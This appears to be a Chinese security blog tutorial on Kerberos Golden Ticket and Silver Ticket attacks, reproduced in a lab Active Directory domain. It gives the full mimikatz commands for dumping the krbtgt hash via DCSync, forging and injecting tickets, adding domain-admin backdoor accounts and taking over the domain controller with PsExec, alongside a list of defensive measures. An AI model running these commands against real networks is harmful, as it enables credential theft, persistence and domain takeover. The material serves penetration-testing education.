域权限维持和后渗透密码收集

article/2025/6/24 6:08:17

前言

        本文仅用于网络安全领域的教育和研究目的,旨在帮助安全研究人员和渗透测试人员了解和防范黄金票据攻击与白银票据攻击。所有技术的使用必须在合法授权的环境下进行,未经授权的攻击行为是违法的。本文的目标是提高网络安全防护能力,帮助企业和组织更好地保护其系统免受此类攻击的威胁。 

        网络安全是当今数字世界中至关重要的领域。随着网络攻击手段的日益复杂化,了解攻击原理和防御措施对于保护企业和个人的信息安全至关重要。本文将详细介绍黄金票据攻击与白银票据攻击的原理、实施过程以及防御措施,旨在帮助读者更好地理解这些攻击手段,并采取有效的防护策略。

黄金票据攻击与白银票据攻击

黄金票据攻击(Golden Ticket Attack)

黄金票据攻击是一种利用Kerberos认证协议漏洞的攻击方式。攻击者通过伪造Kerberos票据授予票据(TGT),以任意用户身份(包括域管理员)访问域内的所有资源。

攻击原理

  • 攻击者需要获取域控制器(DC)上的KRBTGT账户的NTLM哈希值。
  • 使用该哈希值伪造一个长期有效的TGT。
  • 使用伪造的TGT请求访问域内任何服务的票据。
  • 由于伪造的TGT是合法的Kerberos票据,许多安全产品难以检测。

特点

  • 持久性强:只要KRBTGT账户的密码未更改,黄金票据就有效。
  • 无需与KDC交互:攻击者可以离线生成TGT。
  • 可伪造任意用户:攻击者可以伪造域管理员或其他高权限用户身份。
  • 绕过大部分安全检测:由于黄金票据是合法的Kerberos票据,许多安全产品难以检测。

白银票据攻击(Silver Ticket Attack)

白银票据攻击与黄金票据攻击类似,但攻击范围更窄。攻击者伪造Kerberos服务票据(ST),直接访问特定服务,而不是整个域。

攻击原理

  • 攻击者需要获取目标服务账户的哈希值(如CIFS$MSSQL$等)。
  • 使用该哈希值伪造ST。
  • 使用伪造的票据直接访问目标服务。

特点

  • 攻击范围有限:仅限于特定服务(如文件共享、数据库等)。
  • 隐蔽性强:无需与KDC交互,更难被流量监控发现。
  • 短期有效:默认情况下,白银票据的有效期为10小时。

防御措施

  • 保护KRBTGT账户:定期更改KRBTGT账户的密码,并限制对该账户的访问。
  • 监控异常Kerberos活动:通过监控TGT请求频率、检查票据PAC签名完整性等方式,检测异常的Kerberos活动。
  • 网络分段策略:实施零信任模型,最小化横向通信权限,减少攻击面。
  • 检测体系构建:建立SIEM告警规则,检测异常的登录行为和票据请求。
  • 红蓝对抗演练:定期进行红蓝对抗演练,优化安全防护体系。

环境配置

DC:windows server 2019  ip:192.168.88.130

Windows 10 x64  ip:192.168.88.131

工具包mimikatz等

在DC上添加域角色

安装active directory域服务

打开“服务器管理器”

找到“添加角色和功能”

在“安装类型”中,选择“基于角色或基于功能的安装”

在“服务器角色”页面中,勾选“Active Directory”域服务

后面默认选择,直接安装

创建域

安装完成之后,需要将服务器提升为域控制器

打开“服务器管理器”

在“操作”菜单中,点击“将此服务器提升为域控制器”

在“部署配置”页面,选择“添加新林根域”,输入域名称:abc.com

(这一步做完点击下一步之后,需要等一会儿才能继续下一步,耐心等待)

设置目录服务恢复模式(DSRM)密码

后面直接默认安装

之后会出现弹窗,点击关闭,重新启动虚拟机

配置域环境

在域控上创建用户账号和组

创建用户

密码需要设置强密码,故设置为P@ssw0rd!

创建组

将其他域成员加入到域内

在Windows10 x64中,将首选DNS服务器设置为域服务器

在文件管理中找到“此电脑”,右键属性

之后需要重新启动,以激活加入域操作

使用nslookup命令查看abc.com,是否成功加入域

加入域成功

复现黄金票据传递攻击

第一步:收集黄金票据的信息,在服务器上执行

mimikatz.exe
privilege::debug
lsadump::dcsync /domain:abc.com /all /csv

第二步:伪造票据(win10)

whoami /user

得到sid值:S-1-5-21-1437317846-3773719243-931954916-1001

kerberos::golden /user:administrator /domain:abc.com /sid:S-1-5-21-1437317846-3773719243-931954916-1001 /krbtgt:bf84b7091d45f24fd7915db700a9d42a /ticket:ticket.kirbi

这里的sid和krbtgt的数值皆在上一步或上两步的操作中获取

生成的票据

第三步:导入票据

kerberos::purge
kerberos::tgt
kerberos::ptt ticket.kirbi

第四步:测试(win10)

新开一个终端(管理员运行),向abc.com添加ddd用户及密码Abcd@2024,并提升ddd用户为domain admins组成员

klist
net user ddd Abcd@2024 /add /domain
net group "domain admins" ddd /add /domain

在Windows server2019的DC上查看新建的域用户

然后在win10通过工具PsExec,利用新建的域用户控制域控

PsExec.exe /accepteula /s \\192.168.88.130 -u ddd -p Abcd@2024 cmd

注意:当票据的缓存被清除时,要想继续控制域控,需要重新导入票据

netstat -an | find "135"

复现白银票据传递攻击

第一步:收集票据信息

lsadump::dcsync /domain:abc.com /user:Administrator

第二步:伪造票据并导入(win10)

whoami /user

得到sid值:S-1-5-21-1437317846-3773719243-931954916-1001

kerberos::golden /domain:abc.com /sid:S-1-5-21-1437317846-3773719243-931954916-1001 traget:abc.com /service:cifs /rc4:fefcfc418134bfb464ae7facd8c76668 /user:silver /ptt

第三步:测试(win10)

设置DC的C盘为共享文件

新开一个终端(管理员方式运行),成功访问域控的共享文件

dir \\Win-2e28ib3rd7h\c$

新建域用户,向abc.com添加bbb用户及密码Abcd@2024,并提升bbb用户为domain admins组成员

klist
net user bbb Abcd@2024 /add /domain
net group "domain admins" bbb /add /domain

在DC上查看,成功创建bbb用户

然后再win10上通过工具PsExec,利用新建的域用户控制域控

PsExec.exe /accepteula /s \\192.168.88.130 -u bbb -p Abcd@2024 cmd

当清空票据缓存,不能访问域控的共享,也不能控制域控

黄金票据和白银票据的联系与区别

联系

黄金票据和白银票据都是基于Kerberos认证机制的攻击手段,它们的共同点在于:

  • 攻击目标一致:两者都是通过伪造Kerberos票据来绕过正常的身份验证流程,从而获取对目标系统或服务的访问权限。
  • 利用相同的协议漏洞:它们都利用了Kerberos协议在票据生成和验证过程中的漏洞,攻击者通过伪造票据来欺骗系统,使其认为自己是合法用户。
  • 攻击目的相似:都是为了在渗透测试或攻击过程中获取对目标系统的控制权,进而进行进一步的攻击或数据窃取。

区别

用途

黄金票据:黄金票据是伪造的TGT(Ticket-Granting Ticket,身份票据)。TGT是Kerberos认证过程中的关键票据,用于获取其他服务的访问权限。黄金票据一旦生成,攻击者可以利用它请求任何服务的ST(Service Ticket),从而访问域内的所有服务。

白银票据:白银票据是伪造的ST(Service Ticket,服务票据)。它直接针对特定的服务(如CIFS、MSSQL等),攻击者通过伪造ST来访问特定的服务,而无需获取TGT。

权限范围

黄金票据:由于黄金票据是伪造的TGT,它具有极高的权限,可以访问域内的所有服务。攻击者可以利用它获取对任何资源的访问权限,包括文件服务器、数据库服务器等。

白银票据:白银票据的权限相对有限,它只能访问特定的服务。攻击者需要为每个目标服务单独生成白银票据,且每个票据只能用于访问指定的服务。

加密方式

黄金票据:黄金票据的生成需要使用krbtgt账户的NTLM Hash进行加密。krbtgt是Kerberos协议中的一个特殊账户,用于生成TGT。

白银票据:白银票据的生成需要使用目标服务账户的NTLM Hash进行加密。攻击者需要获取目标服务账户的密码哈希值,才能生成有效的白银票据。

认证流程

黄金票据:黄金票据的生成和使用需要与KDC(Key Distribution Center)进行交互。攻击者通过伪造TGT,欺骗KDC,从而获取其他服务的ST。

白银票据:白银票据的生成和使用不与KDC交互,而是直接与目标服务进行通信。攻击者伪造ST后,直接将其发送给目标服务,从而绕过KDC的验证。

日志记录

黄金票据:由于黄金票据需要与KDC交互,因此在域控上会留下日志记录。这使得黄金票据的使用更容易被检测到。

白银票据:白银票据的使用不会在域控上留下日志记录,仅在目标服务器上留下日志。因此,白银票据的使用更加隐蔽,更难被发现。

总结

黄金票据:具有极高的权限,可以访问域内的所有服务,但使用时会在域控上留下日志记录,容易被检测。

白银票据:权限相对有限,只能访问特定的服务,但使用时不会在域控上留下日志记录,更加隐蔽。

在实际的网络安全防护中,应加强对krbtgt账户和服务账户的安全管理,限制管理员权限,监控异常的网络活动,并定期更换关键账户的密码,以防止黄金票据和白银票据攻击。

用实例实现后渗透密码收集

使用命令msfconsole,启动msf终端

注意事项

问题:在Win10上尝试新建ddd用户的时候失败

虽然这个命令行是在win10的管理员权限下运行,但是处于abc.com域下,为abc.com域服务器添加用户,应该在域服务器的管理员权限下进行

runas /user:abc.com\Administrator "cmd"

问题:在获取DC的NTLM哈希值时,出现无法访问(最近常用的是sekurlsa::logonpasswords)

可以更换命令来获取NTLM哈希值

lsadump::dcsvnc /domain:abc.com /user:Administrator

结语:安全防护的重要性

在网络安全领域,了解攻击手段是防范攻击的第一步。通过本文的介绍,我们希望读者能够认识到黄金票据攻击和白银票据攻击的危险性,并采取有效的防御措施来保护自己的网络环境。以下是一些关键的防御建议:

  • 加强账户管理:定期更改关键账户(如KRBTGT)的密码,并限制对这些账户的访问。
  • 监控异常活动:通过监控Kerberos票据请求频率、检查票据PAC签名完整性等方式,及时发现异常的Kerberos活动。
  • 实施零信任模型:最小化横向通信权限,减少攻击面。
  • 建立检测体系:构建SIEM告警规则,检测异常的登录行为和票据请求。
  • 定期进行安全演练:通过红蓝对抗演练,优化安全防护体系。

我们强烈建议所有网络安全从业者和系统管理员重视这些防御措施,并将其纳入日常的安全管理流程中。只有通过持续的安全教育和有效的防护策略,我们才能更好地应对日益复杂的网络攻击威胁。

合法性再次声明

        再次强调,本文的所有内容仅用于合法的网络安全研究和教育目的。未经授权的攻击行为是违法的,本文不鼓励也不支持任何形式的非法网络活动。


http://www.hkcw.cn/article/ETYUhpRcXA.shtml

相关文章

法规解读——GB/T 前向碰撞预警功能FCW

一、前言 前方车辆碰撞预警系统是前向摄像头和前向毫米波能检测前方目标车辆并计算是否满足报警条件,在危险紧急情况下警告驾驶员采取刹车换道等操作避免碰撞。本文以GB/T 33577记录相关规范要求。 二、术语 碰撞报警 collision warning 系统向驾驶员发出需紧急避碰…

Vue-过滤器

过滤器 时间戳格式化 实现方式 计算属性方法过滤器 基础依赖 day.min.js 下载链接放到 相对路径 js 目录下 Computed 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><title>过滤器</title>…

Java 文件操作 和 IO(4)-- Java文件内容操作(2)-- 字符流操作

Java 文件操作 和 IO&#xff08;4&#xff09;-- Java文件内容操作&#xff08;2&#xff09;-- 字符流操作 文章目录 Java 文件操作 和 IO&#xff08;4&#xff09;-- Java文件内容操作&#xff08;2&#xff09;-- 字符流操作观前提醒&#xff1a;1. Java中操作文件的简单介…

【Qt】EventFilter,要增加事件拦截器才能拦截到事件

在构造函数中增加事件拦截器 void QObject::installEventFilter(QObject *filterObj) Installs an event filter filterObj on this object. For example:

Cypress + React + TypeScript

🧪 Cypress + React + TypeScript 组件测试全流程实战:从入门到自动化集成 在现代前端开发中,组件测试 是保障 UI 行为可靠性的重要手段。本文将通过一个 React 项目示例,实战演示如何结合 Cypress + React + TypeScript 实现从零配置到自动化集成的完整测试链路。 一、项…

cf每日刷题

目录 String&#xff08;800&#xff09; Skibidus and Amogu&#xff08;800&#xff09; Apples in Boxes&#xff08;1100&#xff09; String&#xff08;800&#xff09; https://codeforces.com/problemset/problem/2062/A #include <iostream> #include <…

FPGA纯verilog实现MIPI-DSI视频编码输出,提供工程源码和技术支持

目录 1、前言工程概述免责声明 2、相关方案推荐我已有的所有工程源码总目录----方便你快速找到自己喜欢的项目我这里已有的 MIPI 编解码方案 3、设计思路框架工程设计原理框图FPGA内部彩条RGB数据位宽转换RGB数据缓存MIPI-DSI协议层编码MIPI-DPHY物理层串化MIPI-LVDS显示屏工程…

极智项目 | 多模态大模型推理平台-Streamlit版(支持Qwen2.5/InternVL3/KimiVL三大模型)

多模态大模型推理测试Web应用 软件下载链接&#xff1a;下载 基于Streamlit的多模态大模型推理测试平台&#xff0c;支持Qwen2.5-VL、InternVL3、Kimi-VL三大模型&#xff0c;提供transformers和vLLM两种推理框架。 软件介绍 核心功能 多模型支持: 集成三大主流多模态大模型…

mysql慢sql的实际处理方案之一

复习mysql架构图 当大批量慢sql过来&#xff0c;显然就是占用了线程池的链接&#xff0c;然后长久不释放&#xff0c;所以会出现线程池满的问题&#xff0c;致使正常业务sql也全部阻塞&#xff0c;影响整个业务。 AI搜索如下&#xff1a; 可以考虑一种方案&#xff1a; 将线…

最小生成树

1 最小生成树的概论 最小生成树的概念 2 Kruskal算法 首先我们要熟记最小生成树的概念 必须是无向带权图&#xff0c;必须保证连通性&#xff0c;总的权值必须是最小的 如果无向带权图有n个节点&#xff0c;那么最小生成树一定有n-1个边 这个也被叫成k算法&#xff0c;很常用…

网络系统中安全漏洞扫描为何重要?扫描啥?咋扫描?

在网络系统中&#xff0c;安全漏洞扫描占据着极其重要的位置&#xff0c;这一环节有助于我们发现并消除潜在的安全隐患&#xff0c;进而提高网络安全防护的等级。下面&#xff0c;我将对此进行详尽的说明。 基本概念 漏洞扫描技术可以揭示并评估网站存在的安全风险&#xff0…

2025年- H62-Lc170--34.在排序数组中查找元素的第一个和最后一个位置(2次二分查找,标记向左寻找,标记向右寻找)--Java版

1.题目描述 2.思路 3.代码实现 public class H34 {public int[] searchRange(int[] nums, int target) {int start findFirst(nums, target);int end findLast(nums, target);return new int[]{start, end};}// 查找第一个出现的位置public int findFirst(int[] nums, int t…

VR/AR 显示瓶颈将破!铁电液晶技术迎来关键突破

在 VR/AR 设备逐渐走进大众生活的今天&#xff0c;显示效果却始终是制约其发展的一大痛点。纱窗效应、画面拖影、眩晕感…… 传统液晶技术的瓶颈让用户体验大打折扣。不过&#xff0c;随着铁电液晶技术的重大突破&#xff0c;这一局面有望得到彻底改变。 一、传统液晶技术瓶颈…

基于空天地一体化网络的通信系统matlab性能分析

目录 1.引言 2.算法仿真效果演示 3.数据集格式或算法参数简介 4.MATLAB核心程序 5.算法涉及理论知识概要 5.1 QPSK调制原理 5.2 空天地一体化网络信道模型 5.3 空天地一体化网络信道特性 6.参考文献 7.完整算法代码文件获得 1.引言 空天地一体化网络是一种将卫星通信…

基于FashionMnist数据集的自监督学习(生成式自监督学习AE算法)

目录 一&#xff0c;生成式自监督学习 1.1 简介 1.2 核心思想 1.3 常见算法 1.3.1 自动编码器&#xff08;Autoencoder&#xff09; 1.3.2 生成对抗网络&#xff08;GANs&#xff09; 1.3.3 变分自编码器&#xff08;VAE&#xff09; 1.3.4 Transformer-based 模型&…

腾讯位置商业授权关键词输入提示开发指南

概述 用于获取输入关键字的补完与提示&#xff0c;帮助用户快速输入。本接口为纯HTTP数据接口&#xff0c;需配合前端程序实现Autocomplete&#xff08;自动完成&#xff09;的效果。 请求URL 该请求为GET请求 https://apis.map.qq.com/ws/place/v1/suggestion 请求参数 名称必…

【愚公系列】《生产线数字化设计与仿真》006-颜色分类站仿真(配置颜色分类站的气缸和传送带)

&#x1f31f;【技术大咖愚公搬代码&#xff1a;全栈专家的成长之路&#xff0c;你关注的宝藏博主在这里&#xff01;】&#x1f31f; &#x1f4e3;开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主&#xff01; &#x1f…

企业内训|客户智能营销实战——某头部车企

5月下旬&#xff0c;TsingtaoAI团队为某央企汽车厂商的智能驾驶业务运营团队交付“客户智能营销实战”课程。 本课程聚焦AI技术与汽车营销的深度融合&#xff0c;以“数据驱动大模型赋能”为核心&#xff0c;系统拆解智能营销全链路。课程从行业痛点切入&#xff0c;结合最新趋…

Mybatis-Plus简单介绍

前一篇文章中&#xff0c;小编介绍到了Mybatis&#xff0c;以及它的增强工具&#xff0c;mybatis-generator。 那么为了再减少对于SQL语句的编写&#xff0c;那么mybatis的另一个增强工具也是做出了巨大努力。 Mybaits-Plus Mybatis-Plus简称MP&#xff0c;它是一个Mybatis的…

LLm中 float16和 float32 区别,为什么训练不能采用float16--梯度消失

LLm中 float16和 float32 区别,为什么训练不能采用float16–梯度消失 在深度学习中,使用 float16(半精度)而非 float32(单精度)进行训练时,数值范围和精度的差异可能导致一系列问题,特别是当损失值达到 0.0001 这种较小时。以下是具体分析: 1. float16 与 float32 的…